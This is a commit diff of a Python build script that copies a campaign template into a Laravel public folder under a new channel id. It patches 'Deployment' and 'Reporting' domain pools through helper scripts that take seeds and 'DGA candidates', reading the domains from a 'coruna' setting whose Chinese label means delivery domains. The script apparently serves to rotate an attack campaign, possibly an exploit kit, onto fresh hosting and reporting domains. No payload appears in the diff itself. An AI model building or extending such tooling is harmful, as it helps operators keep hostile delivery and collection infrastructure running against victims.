feature
This commit is contained in:
+183
-54
@@ -1,13 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Build server/public campaign trees: new channel + fixed domains.
|
||||
"""Build server/public campaign trees: new channel + fixed domains from config.
|
||||
|
||||
Seeds are derived deterministically from the domain lists (not user-facing).
|
||||
Same domains → same sync/ and same secondary domain patch; only channel differs.
|
||||
- New channel id only (domains unchanged vs last out/domains.json):
|
||||
copy web/<channel>/ + patch secondary packs; leave sync/ alone.
|
||||
- Domains changed (or first run / no sync yet):
|
||||
reset sync/ from source and run full patch_all.
|
||||
|
||||
Each run:
|
||||
- creates web/<channel-id>/
|
||||
- rebuilds sync/ from source + fixed-domain patch
|
||||
- leaves other web/<channel>/ dirs intact
|
||||
Domains default from Laravel config (系统设置 / CORUNA_CHANNEL_DOMAINS),
|
||||
used for both Deployment and Reporting pools.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -26,7 +26,8 @@ from _domain_patch import parse_domain_list
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||
SERVER_ROOT = LAB_ROOT / "server"
|
||||
APPLY_ROOT = SERVER_ROOT / "public"
|
||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
@@ -50,9 +51,22 @@ def copy_campaign_template(dst_campaign: Path) -> None:
|
||||
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
||||
|
||||
|
||||
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
|
||||
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
|
||||
def load_json(path: Path) -> dict | None:
|
||||
if not path.is_file():
|
||||
return None
|
||||
return json.loads(path.read_text())
|
||||
|
||||
|
||||
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
|
||||
if not prev or prev.get("mode") != "fixed_domains":
|
||||
return False
|
||||
return (
|
||||
prev.get("deployment", {}).get("domains") == dep
|
||||
and prev.get("reporting", {}).get("domains") == rep
|
||||
)
|
||||
|
||||
|
||||
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
|
||||
def one(label: str, domains: list[str]) -> str:
|
||||
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
|
||||
return hashlib.sha256(material).hexdigest()[:32]
|
||||
@@ -78,38 +92,99 @@ def run(cmd: list[str]) -> None:
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
|
||||
def load_domains_from_laravel() -> list[str]:
|
||||
"""Read coruna.channel_domains (settings override env) via artisan."""
|
||||
php_candidates = [
|
||||
Path("/opt/homebrew/opt/php/bin/php"),
|
||||
Path("/usr/bin/php"),
|
||||
Path(shutil.which("php") or ""),
|
||||
]
|
||||
php = next((p for p in php_candidates if p and p.is_file()), None)
|
||||
artisan = SERVER_ROOT / "artisan"
|
||||
if php is None or not artisan.is_file():
|
||||
return []
|
||||
|
||||
proc = subprocess.run(
|
||||
[str(php), str(artisan), "coruna:channel-domains", "--json"],
|
||||
cwd=str(SERVER_ROOT),
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
print(f"warn: coruna:channel-domains failed: {proc.stderr.strip()}", file=sys.stderr)
|
||||
return []
|
||||
line = (proc.stdout or "").strip().splitlines()
|
||||
if not line:
|
||||
return []
|
||||
try:
|
||||
data = json.loads(line[-1])
|
||||
except json.JSONDecodeError:
|
||||
return []
|
||||
if not isinstance(data, list):
|
||||
return []
|
||||
return [str(x).strip() for x in data if str(x).strip()]
|
||||
|
||||
|
||||
def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]:
|
||||
if cli_dep or cli_rep:
|
||||
if bool(cli_dep) != bool(cli_rep):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
return (
|
||||
parse_domain_list(cli_dep, label="deployment"),
|
||||
parse_domain_list(cli_rep, label="reporting"),
|
||||
)
|
||||
|
||||
domains = load_domains_from_laravel()
|
||||
if not domains:
|
||||
raise SystemExit(
|
||||
"no domains in Laravel config (系统设置 → 投放域名 / CORUNA_CHANNEL_DOMAINS). "
|
||||
"Configure domains first, or pass --deployment-domains / --reporting-domains."
|
||||
)
|
||||
# Same configured hosts for both pools (product default).
|
||||
return domains, list(domains)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"From source/, create server/public/web/<channel-id>/ with fixed "
|
||||
"Deployment/Reporting domains. Seeds are derived from domains "
|
||||
"(no --*-seed / no reuse-sync shortcut)."
|
||||
"Create web/<channel-id>/ from source. "
|
||||
"If domains match the previous project, only patch secondary (sync untouched). "
|
||||
"If domains changed, rebuild sync/ via patch_all."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-id",
|
||||
help="optional 32-hex channel id (default: random, unique under web/)",
|
||||
help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
required=True,
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
help="override Deployment hosts (default: Laravel coruna.channel_domains)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
required=True,
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
help="override Reporting hosts (default: same as deployment from config)",
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; default: reuse or derive")
|
||||
parser.add_argument("--reporting-seed", help="optional; default: reuse or derive")
|
||||
parser.add_argument(
|
||||
"--force-sync",
|
||||
action="store_true",
|
||||
help="rebuild sync/ even when domains match the previous project",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates for patch_all when rebuilding sync (default 5)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
|
||||
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
|
||||
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir():
|
||||
@@ -124,74 +199,128 @@ def main() -> int:
|
||||
out_root.mkdir(parents=True, exist_ok=True)
|
||||
web_root.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
|
||||
prev_domains = load_json(out_root / "domains.json")
|
||||
prev_seeds = load_json(out_root / "seeds.json") or {}
|
||||
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
|
||||
same_domains = (
|
||||
domains_equal(prev_domains, fixed_dep, fixed_rep)
|
||||
and sync_ready
|
||||
and not args.force_sync
|
||||
)
|
||||
|
||||
channel = pick_channel(args.channel_id, web_root)
|
||||
campaign_dir = web_root / channel
|
||||
|
||||
print("=== new_project ===")
|
||||
print(f"channel: {channel}")
|
||||
print(f"web dest: {campaign_dir}")
|
||||
print(f"domains: {'reuse sync (channel-only)' if same_domains else 'rebuild sync'}")
|
||||
print(f" deployment: {', '.join(fixed_dep)}")
|
||||
print(f" reporting: {', '.join(fixed_rep)}")
|
||||
print(f" seeds: derived from domains (stable)")
|
||||
print()
|
||||
|
||||
print("=== copy campaign template ===")
|
||||
print(f"from: {src_campaign}")
|
||||
print(f"to: {campaign_dir}")
|
||||
copy_campaign_template(campaign_dir)
|
||||
print(f"created web/{channel}/")
|
||||
|
||||
print("=== reset sync from source ===")
|
||||
replace_tree(src_sync, sync_dir)
|
||||
print(f"copied sync/ -> {sync_dir}")
|
||||
|
||||
domain_args: list[str] = []
|
||||
for item in fixed_dep:
|
||||
domain_args += ["--deployment-domains", item]
|
||||
for item in fixed_rep:
|
||||
domain_args += ["--reporting-domains", item]
|
||||
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
run(
|
||||
[
|
||||
sys.executable,
|
||||
py = sys.executable
|
||||
|
||||
if same_domains:
|
||||
dep = args.deployment_seed or prev_seeds.get("deployment_seed")
|
||||
rep = args.reporting_seed or prev_seeds.get("reporting_seed")
|
||||
if not dep or not rep:
|
||||
dep, rep = seeds_from_domains(fixed_dep, fixed_rep)
|
||||
print("seeds: derived (out/seeds.json incomplete)")
|
||||
print("=== domains unchanged: patch secondary only (sync untouched) ===")
|
||||
print(f"reuse/derive seeds dep={dep} rep={rep}")
|
||||
run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "patch_secondary_packs.py"),
|
||||
"--deployment-seed",
|
||||
str(dep),
|
||||
"--reporting-seed",
|
||||
str(rep),
|
||||
"--channel-id",
|
||||
channel,
|
||||
*domain_args,
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"patched": True,
|
||||
"sync_rebuilt": False,
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
else:
|
||||
print("=== domains new/changed (or no sync): reset sync + full patch ===")
|
||||
replace_tree(src_sync, sync_dir)
|
||||
print(f"copied sync/ -> {sync_dir}")
|
||||
cmd = [
|
||||
py,
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(APPLY_ROOT),
|
||||
"--channel-id",
|
||||
channel,
|
||||
"--deployment-seed",
|
||||
dep_seed,
|
||||
"--reporting-seed",
|
||||
rep_seed,
|
||||
"-n",
|
||||
str(args.count),
|
||||
*domain_args,
|
||||
]
|
||||
)
|
||||
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
if args.deployment_seed:
|
||||
cmd += ["--deployment-seed", args.deployment_seed]
|
||||
if args.reporting_seed:
|
||||
cmd += ["--reporting-seed", args.reporting_seed]
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
run(cmd)
|
||||
seeds = load_json(out_root / "seeds.json") or {}
|
||||
(out_root / "channel.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"channel_id": channel,
|
||||
"patched": True,
|
||||
"sync_rebuilt": True,
|
||||
"deployment_seed": seeds.get("deployment_seed"),
|
||||
"reporting_seed": seeds.get("reporting_seed"),
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
print()
|
||||
print("=== ready ===")
|
||||
print(f"web: {campaign_dir}")
|
||||
print(f"sync: {sync_dir}")
|
||||
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
|
||||
print(f"channel: {out_root / 'channel.json'}")
|
||||
print(f"domains: {out_root / 'domains.json'}")
|
||||
print()
|
||||
print("served by Laravel public:")
|
||||
print(f" /web/{channel}/support.html")
|
||||
print(" /sync/daily.html")
|
||||
print(f"served: /web/{channel}/support.html")
|
||||
if not same_domains:
|
||||
print(" /sync/daily.html")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user